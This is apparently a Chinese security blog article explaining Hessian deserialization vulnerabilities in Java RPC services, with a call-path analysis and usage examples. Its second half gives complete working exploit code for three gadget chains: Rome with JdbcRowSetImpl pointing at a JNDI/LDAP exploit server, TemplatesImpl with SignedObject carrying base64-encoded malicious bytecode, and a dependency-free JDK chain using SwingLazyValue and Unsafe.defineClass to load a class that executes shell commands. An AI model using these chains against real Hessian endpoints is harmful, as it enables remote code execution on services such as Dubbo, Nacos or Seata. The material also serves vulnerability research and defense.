【Java安全】Hessian反序列化攻击

admin 2025年5月23日15:45:53评论0 views字数 25991阅读86分38秒阅读模式
【Java安全】Hessian反序列化攻击

点击上方蓝字关注我们

【Java安全】Hessian反序列化攻击
【Java安全】Hessian反序列化攻击

    请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任。如有侵权烦请告知,我们会立即删除并致歉。谢谢!

【Java安全】Hessian反序列化攻击
【Java安全】Hessian反序列化攻击

01

前言

今天和大家共同探讨Java安全领域中一种常见的安全威胁,也就是Hessian反序列化漏洞。作为贯穿Java生态的RPC通信基石,Hessian协议如同微服务架构的"神经网络",其安全风险直接影响多个Java核心组件的命脉,如近几年披露的一些Hessian协议相关的安全组件漏洞:Seata Hessian 反序列化漏洞、Nacos 集群 Hessian 反序列化漏洞、xxl-job Hessian2 反序列化漏洞、Apache Dubbo Hessian 反序列化漏洞。由于Hessian协议广泛用于Java生态的RPC框架和微服务组件,其反序列化漏洞往往直接威胁企业核心业务系统,成为Java应用安全的高危雷区。从分布式事务到注册中心,从任务调度到服务调用,这些支撑亿级流量的基础设施一旦遭遇反序列化攻击,轻则数据泄露,重则系统沦陷

02

Hessian简介

Hessian是由Caucho公司开发的一种轻量级二进制RPC协议,它定义了自己的序列化规则和通信机制。在实际应用中,Hessian通常是通过HTTP传输的,相对比传统的XML/JSON等文本协议,传输效率更高。Hessian协议常见的有Hessian 1.0和Hessian 2.0两个版本,2.0是Hessian 1.0的升级版本,优化了序列化效率等等,性能显著提升。

03

Hessian基本使用

Hessian 可以与 Servlet 、Spring、JNDI等进行集成,用于实现远程调用,也可以使用自封装的办法进行调用

【Java安全】Hessian反序列化攻击

自封装调用

【Java安全】Hessian反序列化攻击

在项目中添加Hessian4.0.60版本依赖

<dependency>  <groupId>com.caucho</groupId>  <artifactId>hessian</artifactId>  <version>4.0.60</version>  <!--<version>3.1.5</version>--></dependency>

编写一个实体类,继承Serializable

package com.study.deserialization.hessian;import java.io.Serializable;public class Person implements Serializable {    private String name;    private int age;    public Person() {    }    public Person(String name, int age) {        this.name = name;        this.age = age;    }    public String getName() {        return name;    }    public void setName(String name) {        this.name = name;    }    public int getAge() {        return age;    }    public void setAge(int age) {        this.age = age;    }    @Override    public String toString() {        return "Person{name='" + name + "', age=" + age + "}";    }}

Hessian 提供了高效且灵活的工具,其中 HessianOutput 和 HessianInput 是核心类,分别用于序列化和反序列化操作。序列化和反序列化代码如下

package com.study.deserialization.hessian;import com.caucho.hessian.io.HessianInput;import com.caucho.hessian.io.HessianOutput;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.IOException;public class HessianTest {    public static void main(String[] args) {        try {            // 创建一个 Person 对象            Person person = new Person("Tom"25);            // 序列化对象            ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();            HessianOutput hessianOutput = new HessianOutput(byteArrayOutputStream);            hessianOutput.writeObject(person);            byte[] serializedBytes = byteArrayOutputStream.toByteArray();            System.out.println("Serialized bytes: " + java.util.Arrays.toString(serializedBytes));            // 反序列化对象            ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(serializedBytes);            HessianInput hessianInput = new HessianInput(byteArrayInputStream);            Person deserializedPerson = (Person) hessianInput.readObject();            System.out.println("Deserialized person: " + deserializedPerson.getName() + ", " + deserializedPerson.getAge());        } catch (Exception e) {            e.printStackTrace();        }    }}
【Java安全】Hessian反序列化攻击

Hessian2反序列化只需要把上面代码中的HessianOutput/HessianInput换为 Hessian2Ouput/Hessian2Input

package com.study.deserialization.hessian;import com.caucho.hessian.io.Hessian2Input;import com.caucho.hessian.io.Hessian2Output;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.IOException;public class Hessian2Test {    public static void main(String[] args) {        try {            // 创建一个 Person 对象            Person person = new Person("Tom"25);            // 序列化对象            ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();            Hessian2Output hessianOutput = new Hessian2Output(byteArrayOutputStream);            hessianOutput.writeObject(person);            hessianOutput.flush();            byte[] serializedBytes = byteArrayOutputStream.toByteArray();            System.out.println("Serialized bytes: " + java.util.Arrays.toString(serializedBytes));            // 反序列化对象            ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(serializedBytes);            Hessian2Input hessianInput = new Hessian2Input(byteArrayInputStream);            Person deserializedPerson = (Person) hessianInput.readObject();            System.out.println("Deserialized person: " + deserializedPerson);        } catch (IOException e) {            e.printStackTrace();        }    }}
【Java安全】Hessian反序列化攻击

Servlet集成Hessian

【Java安全】Hessian反序列化攻击

这里用Tomcat容器封装,导入Hessian4.0.60版本依赖,定义一个远程接口Service

package com.study.vuln.hessian;public interface Service {    String getCurrentTime();}

定义一个实现Service接口的类,并使用注解配置Servlet(也可通过web.xml配置)

package com.study.vuln.hessian;import com.caucho.hessian.server.HessianServlet;import javax.servlet.annotation.WebServlet;import java.time.LocalDateTime;import java.time.format.DateTimeFormatter;@WebServlet(name = "hessian", value = "/hessian")public class ServiceImpl extends HessianServlet implements Service {    @Override    public String getCurrentTime() {        return "获取到当前时间为: " + LocalDateTime.now().format(DateTimeFormatter.ofPattern("yyyy-MM-dd HH:mm:ss"));    }}

客户端发送请求

public class Client {    publicstaticvoidmain(String[] args) throws MalformedURLException {        String url="http://localhost:8080/MyTomcat/hessian";        HessianProxyFactory factory=new HessianProxyFactory();        Service service=(Service) factory.create(Service.class, url);        System.out.println(service.getCurrentTime());    }}
【Java安全】Hessian反序列化攻击
【Java安全】Hessian反序列化攻击

Spring集成Hessian

【Java安全】Hessian反序列化攻击
定义Hessian服务的接口,声明远程调用的方法契约(

hello方法)。Hessian要求客户端和服务端共享同一个接口,接口必须完全一致(包名、类名、方法签名),否则会因序列化不匹配导致调用失败。

package com.study.controller.hessian;// 接口定义public interface HelloHessianService {    String hello(String name);}

实现HelloHessianService接口,提供具体的业务逻辑。

package com.study.controller.hessian;import org.springframework.stereotype.Service;@Servicepublic class HelloHessianServiceImpl implements HelloHessianService {    @Override    public String hello(String name) {        return "Hello Hessian " + name;    }}

配置Hessian服务端,将HelloHessianServiceImpl暴露为HTTP服务。

package com.study.controller.hessian;import org.springframework.beans.factory.annotation.Autowired;import org.springframework.beans.factory.annotation.Qualifier;import org.springframework.context.annotation.Bean;import org.springframework.context.annotation.Configuration;import org.springframework.remoting.caucho.HessianServiceExporter;@Configurationpublic class HessianServerConfig {    @Qualifier("helloHessianServiceImpl")    @Autowired    private HelloHessianService helloHessianService;    @Bean(name = "/hessian/helloService") // URL访问路径    public HessianServiceExporter hessianServiceExporter() {        HessianServiceExporter exporter = new HessianServiceExporter();        exporter.setService(helloHessianService);        exporter.setServiceInterface(HelloHessianService.class);        return exporter;    }}

提供一个REST接口/test,测试HelloHessianService的功能。

package com.study.controller.hessian;import org.springframework.beans.factory.annotation.Autowired;import org.springframework.beans.factory.annotation.Qualifier;import org.springframework.web.bind.annotation.GetMapping;import org.springframework.web.bind.annotation.RestController;@RestControllerpublic class TestController {    @Qualifier("helloHessianServiceImpl")    @Autowired    private HelloHessianService helloHessianService;    @GetMapping("/hessian/test")    public String testHessian() {        return helloHessianService.hello("Tom");    }}
【Java安全】Hessian反序列化攻击

04

Hessian反序列化漏洞原理分析

【Java安全】Hessian反序列化攻击

Hessian反序列化漏洞

【Java安全】Hessian反序列化攻击

在实际攻击中,攻击者会构造恶意的Hessian序列化数据,通过网络发送给目标服务。当目标服务尝试反序列化这些数据时,恶意代码会被执行,从而实现攻击目的。

【Java安全】Hessian反序列化攻击

Hessian反序列化调用栈分析

【Java安全】Hessian反序列化攻击

Hessian1.0 反序列化没有针对 Object 的读取,而是都将其作为 Map 读取,HessianInput#readObject 方法会根据输入流的第一个字节(标记字节,tag)来判断对象的类型。对于 Map 类型的对象,序列化结果的第一个字节总是 M(ASCII 值为 77)

【Java安全】Hessian反序列化攻击
【Java安全】Hessian反序列化攻击

接着会进入readMap方法,readMap 方法用于反序列化一个 Map 类型的数据。它会根据输入流中的类型信息(type)来选择合适的反序列化器(Deserializer)。对于普通的 Java 类(如 Person 类),其类型信息会被标记为完整的类名(例如 "com.study.deserialize.hessian.Person")。Hessian 会根据这个类型信息返回一个 JavaDeserializer,这是默认用于处理普通 JavaBean 的反序列化器。

public Object readMap(AbstractHessianInput in, String type) throws HessianProtocolException, IOException {    // 1. 根据传入的 type 获取对应的 deserializer    Deserializer deserializer = this.getDeserializer(type);    // 2. 如果 deserializer 存在,调用 deserializer.readMap(in) 进行反序列化    if (deserializer != null) {        return deserializer.readMap(in);    }     // 3. 如果 _hashMapDeserializer 已经初始化,则使用 _hashMapDeserializer 反序列化    else if (this._hashMapDeserializer != null) {        return this._hashMapDeserializer.readMap(in);    }     // 4. 如果 _hashMapDeserializer 为空,则创建一个 HashMap 反序列化器,并使用它进行反序列化    else {        this._hashMapDeserializer = new MapDeserializer(HashMap.class);        return this._hashMapDeserializer.readMap(in);    }}
【Java安全】Hessian反序列化攻击

这里跟进getDeserializer方法,主要作用是根据类型名称获取对应的反序列化器。在 Hessian 的反序列化过程中,如果类型信息能够被正确读取,Hessian 会尝试根据类型信息获取对应的反序列化器。如果类型信息不存在或无法被解析,Hessian 将无法找到对应的反序列化器,从而返回 null

public Deserializer getDeserializer(String type) throws HessianProtocolException {    // 检查类型字符串是否为空    if (type != null && !type.equals("")) {        // 检查是否存在缓存的类型反序列化器映射        if (this._cachedTypeDeserializerMap != null) {            Deserializer deserializer;            // 同步访问缓存映射,防止并发问题            synchronized(this._cachedTypeDeserializerMap) {                deserializer = (Deserializer)this._cachedTypeDeserializerMap.get(type);            }            // 如果缓存中存在对应的反序列化器,则直接返回            if (deserializer != null) {                return deserializer;            }        }        // 如果缓存中没有找到,尝试从静态类型映射中获取        Deserializer deserializer = (Deserializer)_staticTypeMap.get(type);        if (deserializer != null) {            return (Deserializer)deserializer;        } else {            // 如果类型是数组类型(以 "[" 开头)            if (type.startsWith("[")) {                // 递归获取数组元素的反序列化器                Deserializer subDeserializer = this.getDeserializer(type.substring(1));                if (subDeserializer != null) {                    // 如果数组元素的反序列化器存在,则创建数组反序列化器                    deserializer = new ArrayDeserializer(subDeserializer.getType());                } else {                    // 如果数组元素的反序列化器不存在,则使用默认的 Object 类型数组反序列化器                    deserializer = new ArrayDeserializer(Object.class);                }            } else {                // 获取当前线程的类加载器                ClassLoader loader = Thread.currentThread().getContextClassLoader();                try {                    // 尝试通过类加载器加载指定类型的类                    Class cl = Class.forName(type, false, loader);                    // 递归获取该类的反序列化器                    deserializer = this.getDeserializer(cl);                } catch (Exception var7) {                    // 如果加载失败,记录警告日志                    log.warning("Hessian/Burlap: '" + type + "' is an unknown class in " + loader + ":n" + var7);                    log.log(Level.FINER, var7.toString(), var7);                }            }            // 如果成功获取了反序列化器,将其缓存起来            if (deserializer != null) {                if (this._cachedTypeDeserializerMap == null) {                    // 如果缓存映射尚未初始化,则初始化一个                    this._cachedTypeDeserializerMap = new HashMap(8);                }                // 同步操作,将反序列化器放入缓存                synchronized(this._cachedTypeDeserializerMap) {                    this._cachedTypeDeserializerMap.put(type, deserializer);                }            }            // 返回最终获取的反序列化器            return (Deserializer)deserializer;        }    } else {        // 如果类型字符串为空,直接返回 null        return null;    }}

如果Hessian反序列化的数据信息不存在,比如反序列化一个HashMap,Hessian 将无法找到对应的反序列化器,从而返回 null。模拟在安全漏洞利用场景中,攻击者构造不存在的数据类型。

【Java安全】Hessian反序列化攻击

反序列一个HashMap会发现deserializer返回null,最终走到去创建一个MapDeserializer反序列化器

【Java安全】Hessian反序列化攻击

进入MapDeserializer#readMap 方法,这段代码是 Hessian 反序列化过程中用于处理 Map 类型数据的核心方法

【Java安全】Hessian反序列化攻击
public Object readMap(AbstractHessianInput in) throws IOException {    // 定义一个 map 对象,用于存储反序列化后的 Map 数据    Object map;    // 根据 _type 字段的值来决定创建哪种类型的 Map 对象    if (this._type == null) {        // 如果 _type 为 null,创建一个普通的 HashMap        map = new HashMap();    } else if (this._type.equals(Map.class)) {        // 如果 _type 是 Map.class,也创建一个普通的 HashMap        map = new HashMap();    } else if (this._type.equals(SortedMap.class)) {        // 如果 _type 是 SortedMap.class,创建一个 TreeMap        map = new TreeMap();    } else {        // 如果 _type 是其他具体的 Map 类型(如自定义的 Map 类)        try {            // 使用 _ctor.newInstance() 来创建指定类型的实例            map = (Map)this._ctor.newInstance();        } catch (Exception var4) {            // 如果创建实例失败,抛出 IOExceptionWrapper 包装原始异常            throw new IOExceptionWrapper(var4);        }    }    // 将创建的 map 对象添加到引用表中,以便后续可能的引用    in.addRef(map);    // 循环读取输入流中的键值对,直到遇到结束标记    while(!in.isEnd()) {        // 从输入流中读取键和值,并将它们放入 map 中        ((Map)map).put(in.readObject(), in.readObject());    }    // 读取结束标记,表示 Map 数据的结束    in.readEnd();    // 返回反序列化后的 Map 对象    return map;}

看到这里,应该就知道漏洞怎么导致的,最后通过map.put设置键值对,这里调用了HashMap的put方法,而put方法内部会调用hashCode方法。如果攻击者构造的恶意类重写了hashCode或equals方法,就会在反序列化时触发这些方法,导致RCE,这就是hessian反序列化漏洞成因。

在 Hessian 2.0 中,提供了 UnsafeDeserializer 来对自定义类型数据进行反序列化,关键方法在 readObject 处。具体代码调试和1.0差不多,这里不重复跟进了。

那怎么去利用Hessian反序列化漏洞呢?只需要找一条入口为 hashcode 的反序列化链即可。

Hessian各种反序列化链中和Map相关的触发都与put 键值对有关,所以在Hessian的反序列化利用链中,起始方法只能为hashCode/equals/compareTo 方法。marshalsec集成了Hessian反序列化的gadget:

Rome、XBean、Resin、SpringPartiallyComparableAdvisorHolder、SpringAbstractBeanFactoryPointcutAdvisor

05

典型利用链

【Java安全】Hessian反序列化攻击

Rome+JdbcRowSetImpl

【Java安全】Hessian反序列化攻击

该链需要导入依赖

<!--Rome利用链--><dependency>  <groupId>rome</groupId>  <artifactId>rome</artifactId>  <version>1.0</version></dependency>

首先使用JNDI工具启一个Ldap服务

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C calc -A 127.0.0.1
【Java安全】Hessian反序列化攻击
package com.study.deserialization.hessian.gadgets;import com.caucho.hessian.io.HessianInput;import com.caucho.hessian.io.HessianOutput;import com.sun.rowset.JdbcRowSetImpl;import com.sun.syndication.feed.impl.EqualsBean;import com.sun.syndication.feed.impl.ToStringBean;import java.io.FileInputStream;import java.io.FileOutputStream;import java.util.HashMap;public class Hessian_Rome {    public static void main(String[] args) throws Exception {        // 创建JdbcRowSetImpl对象        String url = "ldap://127.0.0.1:1389/wn0juk";        JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();        jdbcRowSet.setDataSourceName(url);        // 创建toStringBean对象和equalsBean对象        ToStringBean toStringBean = new ToStringBean(JdbcRowSetImpl.class, jdbcRowSet);        EqualsBean equalsBean = new EqualsBean(ToStringBean.class, toStringBean);        // 创建HashMap//        HashMap<Object, Object> hashMap = new HashMap<>();//        hashMap.put(equalsBean, "1");        HashMap hashMap = MapUtils.makeMap(equalsBean, "1");        // 序列化        FileOutputStream fileOutputStream = new FileOutputStream("RomeHessian.bin");        HessianOutput hessianOutput = new HessianOutput(fileOutputStream);        hessianOutput.writeObject(hashMap);        hessianOutput.close();        // 反序列化        FileInputStream fileInputStream = new FileInputStream("RomeHessian.bin");        HessianInput hessianInput = new HessianInput(fileInputStream);        hessianInput.readObject();    }}
【Java安全】Hessian反序列化攻击

TemplatesImpl+SignedObject 二次反序列化

【Java安全】Hessian反序列化攻击

上面的Rome链需要目标出网,在实战中还是限制比较高,那么还需要实现不出网的办法,其中一个常见的方式是使用 java.security.SignedObject 进行二次反序列化

package com.study.deserialize.hessian;import com.caucho.hessian.io.Hessian2Input;import com.caucho.hessian.io.Hessian2Output;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import com.sun.syndication.feed.impl.EqualsBean;import com.sun.syndication.feed.impl.ToStringBean;import javax.xml.transform.Templates;import java.io.*;import java.security.*;import java.util.Base64;import java.util.HashMap;public class Hessian_SignedObject {    public static void main(String[] args) throws Exception {        // 获取恶意类字节码        String payload_calc = "yv66vgAAADQANAoACAAkCgAlACYIACcKACUAKAcAKQoABQAqBwArBwAsAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAZMRXZpbDsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcALQEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAIPGNsaW5pdD4BAAFlAQAVTGphdmEvaW8vSU9FeGNlcHRpb247AQANU3RhY2tNYXBUYWJsZQcAKQEAClNvdXJjZUZpbGUBAAlFdmlsLmphdmEMAAkACgcALgwALwAwAQAEY2FsYwwAMQAyAQATamF2YS9pby9JT0V4Y2VwdGlvbgwAMwAKAQAERXZpbAEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAPcHJpbnRTdGFja1RyYWNlACEABwAIAAAAAAAEAAEACQAKAAEACwAAAC8AAQABAAAABSq3AAGxAAAAAgAMAAAABgABAAAABwANAAAADAABAAAABQAOAA8AAAABABAAEQACAAsAAAA/AAAAAwAAAAGxAAAAAgAMAAAABgABAAAAEQANAAAAIAADAAAAAQAOAA8AAAAAAAEAEgATAAEAAAABABQAFQACABYAAAAEAAEAFwABABAAGAACAAsAAABJAAAABAAAAAGxAAAAAgAMAAAABgABAAAAFAANAAAAKgAEAAAAAQAOAA8AAAAAAAEAEgATAAEAAAABABkAGgACAAAAAQAbABwAAwAWAAAABAABABcACAAdAAoAAQALAAAAYQACAAEAAAASuAACEgO2AARXpwAISyq2AAaxAAEAAAAJAAwABQADAAwAAAAWAAUAAAALAAkADgAMAAwADQANABEADwANAAAADAABAA0ABAAeAB8AAAAgAAAABwACTAcAIQQAAQAiAAAAAgAj";        byte[] code = Base64.getDecoder().decode(payload_calc);        // 创建 TemplatesImpl 对象,用于存储恶意字节码        TemplatesImpl obj = new TemplatesImpl();        MapUtils.setValue(obj, "_bytecodes"new byte[][]{code});        MapUtils.setValue(obj, "_name""xxx");        MapUtils.setValue(obj, "_tfactory"new TransformerFactoryImpl());        // 使用 ToStringBean 包装 TemplatesImpl 对象,使其在 toString() 时触发恶意代码        ToStringBean bean = new ToStringBean(Templates.class, obj);        ToStringBean fakebean = new ToStringBean(String.class, obj);        EqualsBean equalsBean = new EqualsBean(ToStringBean.class, fakebean);        HashMap map = new HashMap();        map.put(equalsBean, 1);        MapUtils.setValue(equalsBean, "_obj", bean);        // 初始化 SignedObject 所需的密钥和签名工具        KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("DSA");        keyPairGenerator.initialize(1024);        KeyPair keyPair = keyPairGenerator.genKeyPair();        PrivateKey privateKey = keyPair.getPrivate();        Signature signingEngine = Signature.getInstance("DSA");        // 创建 SignedObject 对象,对 map 进行签名        SignedObject signedObject = new SignedObject(map, privateKey, signingEngine);        // 使用 ToStringBean 包装 SignedObject 对象        ToStringBean toStringBean1 = new ToStringBean(SignedObject.class, signedObject);        EqualsBean equalsBean2 = new EqualsBean(ToStringBean.class, toStringBean1);        // 构造一个特殊的 HashMap,防止序列化过程中触发恶意代码造成干扰        HashMap hashMap = MapUtils.makeMap(equalsBean2, "1");//        HashMap<Object, Object> hashMap = new HashMap<>();//        hashMap.put(equalsBean2, "1");        // 序列化        FileOutputStream fileOutputStream = new FileOutputStream("Hessian_SignedObject.bin");        Hessian2Output hessian2Output = new Hessian2Output(fileOutputStream);        hessian2Output.writeObject(hashMap);        hessian2Output.close();        // 反序列化        FileInputStream fileInputStream = new FileInputStream("Hessian_SignedObject.bin");        Hessian2Input hessian2Input = new Hessian2Input(fileInputStream);        hessian2Input.readObject();    }}
【Java安全】Hessian反序列化攻击

Hessian JDK原生反序列化不出网的任意代码执行利用链

【Java安全】Hessian反序列化攻击

从whwlsfb师傅的文章 探寻Hessian JDK原生反序列化不出网的任意代码执行利用链 中获取到一条Hessian反序列化利用链,该链可实现不出网的任意代码执行且无需任何依赖,经实际测试Hessian3.x版本是不可以使用这条利用链的

package com.study.deserialize.hessian;import com.caucho.hessian.io.Hessian2Input;import com.caucho.hessian.io.Hessian2Output;import com.caucho.hessian.io.SerializerFactory;import com.sun.org.apache.xml.internal.security.utils.Base64;import javassist.ClassPool;import javassist.CtClass;import javassist.CtConstructor;import sun.misc.Unsafe;import sun.reflect.misc.MethodUtil;import sun.swing.SwingLazyValue;import javax.swing.*;import java.io.FileInputStream;import java.io.FileOutputStream;import java.lang.reflect.Array;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.lang.reflect.Method;import java.security.ProtectionDomain;import java.util.HashMap;import java.util.Hashtable;import java.util.UUID;public class Hessian_JDK {    static SerializerFactory serializerFactory = new SerializerFactory();    public static void main(String[] args) throws Exception {        String payload_calc = "yv66vgAAADQAVgoAFwAqCAArCAAsCgAtAC4KAAgALwgAMAoACAAxBwAyCAAgCAAzCAA0CAA1BwA2CgA3ADgKADcAOQoAOgA7CgANADwIAD0KAA0APgoADQA/BwBABwBBBwBCAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBACBMY29tL2V4cGxvaXQvZ3VpL3Rlc3RleHAvbXljb2RlOwEACDxjbGluaXQ+AQADY21kAQASTGphdmEvbGFuZy9TdHJpbmc7AQAEY21kcwEAE1tMamF2YS9sYW5nL1N0cmluZzsBAA1TdGFja01hcFRhYmxlBwAyBwAjBwBAAQAKU291cmNlRmlsZQEAC215Y29kZS5qYXZhDAAYABkBAARjYWxjAQAHb3MubmFtZQcAQwwARABFDABGAEcBAAN3aW4MAEgASQEAEGphdmEvbGFuZy9TdHJpbmcBAAIvYwEACS9iaW4vYmFzaAEAAi1jAQARamF2YS91dGlsL1NjYW5uZXIHAEoMAEsATAwATQBOBwBPDABQAFEMABgAUgEAAlxBDABTAFQMAFUARwEAE2phdmEvbGFuZy9FeGNlcHRpb24BAB5jb20vZXhwbG9pdC9ndWkvdGVzdGV4cC9teWNvZGUBABBqYXZhL2xhbmcvT2JqZWN0AQAQamF2YS9sYW5nL1N5c3RlbQEAC2dldFByb3BlcnR5AQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBAAt0b0xvd2VyQ2FzZQEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAIY29udGFpbnMBABsoTGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7KVoBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAoKFtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAEWphdmEvbGFuZy9Qcm9jZXNzAQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAGChMamF2YS9pby9JbnB1dFN0cmVhbTspVgEADHVzZURlbGltaXRlcgEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvdXRpbC9TY2FubmVyOwEABG5leHQAIQAWABcAAAAAAAIAAQAYABkAAQAaAAAALwABAAEAAAAFKrcAAbEAAAACABsAAAAGAAEAAAAFABwAAAAMAAEAAAAFAB0AHgAAAAgAHwAZAAEAGgAAANYABAADAAAAXRICSwFMEgO4AAS2AAUSBrYAB5kAGQa9AAhZAxIJU1kEEgpTWQUqU0ynABYGvQAIWQMSC1NZBBIMU1kFKlNMuwANWbgADiu2AA+2ABC3ABESErYAE7YAFE2nAARLsQABAAAAWABbABUAAwAbAAAAJgAJAAAACAADAAkABQAKABUACwArAA0APgAPAFgAEQBbABAAXAASABwAAAAWAAIAAwBVACAAIQAAAAUAUwAiACMAAQAkAAAAFwAE/QArBwAlBwAmEv8AHAAAAAEHACcAAAEAKAAAAAIAKQ==";        byte[] decodedClassBytes = java.util.Base64.getDecoder().decode(payload_calc);        ClassPool classPool = ClassPool.getDefault();        CtClass ctClass = classPool.makeClass(new java.io.ByteArrayInputStream(decodedClassBytes));        // 添加静态代码块打印 123456        CtConstructor staticConstructor = ctClass.makeClassInitializer();        staticConstructor.insertBefore("System.out.println("success");");        // 更改类名        ctClass.setName("org.apache.WebSocketUpgradeOfpuanListener." + UUID.randomUUID().toString().replace("-"""));        // 将修改后的类转换为 Base64        payload_calc = java.util.Base64.getEncoder().encodeToString(ctClass.toBytecode());        String new_ClassName = ctClass.getName();        byte[] bcode = Base64.decode(payload_calc);        serializerFactory.setAllowNonSerializable(true);        Method invoke = MethodUtil.class.getMethod("invoke", Method.class, Object.class, Object[].class);        Method defineClass = Unsafe.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class, ClassLoader.class, ProtectionDomain.class);        Field f = Unsafe.class.getDeclaredField("theUnsafe");        f.setAccessible(true);        Object unsafe = f.get(null);        Object[] ags = new Object[]{invoke, new Object(), new Object[]{defineClass, unsafe, new Object[]{new_ClassName, bcode, 0, bcode.length, nullnull}}};        SwingLazyValue swingLazyValue = new SwingLazyValue("sun.reflect.misc.MethodUtil""invoke", ags);        SwingLazyValue swingLazyValue1 = new SwingLazyValue(new_ClassName, nullnew Object[0]);        Object[] keyValueList = new Object[]{"abc", swingLazyValue};        Object[] keyValueList1 = new Object[]{"ccc", swingLazyValue1};        UIDefaults uiDefaults1 = new UIDefaults(keyValueList);        UIDefaults uiDefaults2 = new UIDefaults(keyValueList);        UIDefaults uiDefaults3 = new UIDefaults(keyValueList1);        UIDefaults uiDefaults4 = new UIDefaults(keyValueList1);        Hashtable<Object, Object> hashtable1 = new Hashtable<>();        Hashtable<Object, Object> hashtable2 = new Hashtable<>();        Hashtable<Object, Object> hashtable3 = new Hashtable<>();        Hashtable<Object, Object> hashtable4 = new Hashtable<>();        hashtable1.put("a", uiDefaults1);        hashtable2.put("a", uiDefaults2);        hashtable3.put("b", uiDefaults3);        hashtable4.put("b", uiDefaults4);        // 序列化        serObj(hashtable1, hashtable2, hashtable3, hashtable4);        // 反序列化        readObj();    }    static void serObj(Object hashtable1, Object hashtable2, Object hashtable3, Object hashtable4) throws Exception {        HashMap<Object, Object> s = new HashMap<>();        Reflections.setFieldValue(s, "size"4);        Class<?> nodeC;        try {            nodeC = Class.forName("java.util.HashMap$Node");        } catch (ClassNotFoundException e) {            nodeC = Class.forName("java.util.HashMap$Entry");        }        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);        nodeCons.setAccessible(true);        Object tbl = Array.newInstance(nodeC, 4);        Array.set(tbl, 0, nodeCons.newInstance(0, hashtable1, hashtable1, null));        Array.set(tbl, 1, nodeCons.newInstance(0, hashtable2, hashtable2, null));        Array.set(tbl, 2, nodeCons.newInstance(0, hashtable3, hashtable3, null));        Array.set(tbl, 3, nodeCons.newInstance(0, hashtable4, hashtable4, null));        Reflections.setFieldValue(s, "table", tbl);        Hessian2Output hessian2Output = new Hessian2Output(new FileOutputStream("hessian.ser"));        hessian2Output.setSerializerFactory(serializerFactory);        hessian2Output.writeObject(s);        hessian2Output.close();    }    static void readObj() throws Exception {        Hessian2Input hessian2Input = new Hessian2Input(new FileInputStream("hessian.ser"));        hessian2Input.readObject();    }}
【Java安全】Hessian反序列化攻击

其他链

【Java安全】Hessian反序列化攻击

Hessian可以利用的链远不止这些,其他的利用链用到时再去具体分析,可以看看这篇文章 https://xz.aliyun.com/news/13039

06

工具自动化

在复现Hessian相关的漏洞时,使用代码生成经常会出现各种异常,还是决定将所有利用链封装成工具使用,目前集成了测试通过的一些利用链,后面会继续补全

